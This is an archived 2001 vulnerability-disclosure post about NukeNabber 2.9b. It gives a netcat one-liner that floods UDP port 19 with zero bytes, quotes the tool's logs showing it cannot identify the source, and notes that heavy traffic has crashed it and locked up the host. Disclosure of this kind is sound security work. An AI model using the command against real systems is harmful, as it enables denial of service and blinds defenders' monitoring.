Vulnerability Development mailing list archives

Bugs in NukeNabber 2.9b


From: s1gnal_9 <s1gnal_9 () SUNOS COM>
Date: Mon, 12 Feb 2001 12:54:54 +0800

By default Nukenabber listens on port 19(udp) for connections, and gathers information on the source address...

If we send binary zero's to it this is what we get

*sends binary zeros*
nc <target> 19 -u < /dev/zero

*this appears on nukenabber*
[02/11/2001 23:53:14.310 GMT-0500] Unable to determine source of connection on port 19 (udp).
[02/11/2001 23:53:14.310 GMT-0500]
[02/11/2001 23:59:15.830 GMT-0500] Unable to determine source of connection on port 19 (udp).
[02/11/2001 23:59:15.830 GMT-0500]
[02/11/2001 23:59:16.220 GMT-0500] Unable to determine source of connection on port 19 (udp).
[02/11/2001 23:59:16.220 GMT-0500]
[02/11/2001 23:59:16.600 GMT-0500] Unable to determine source of connection on port 19 (udp).
[02/11/2001 23:59:16.600 GMT-0500]


As we can see, it cannot see where the data is coming from... In the past I have done tests and sent large amounts of 
data to this udp port and caused nukenabber to crash and sometimes lock up the system.



--
_______________________________________________
Get your free email from http://sunos.com
Powered by Instant Portal


Current thread: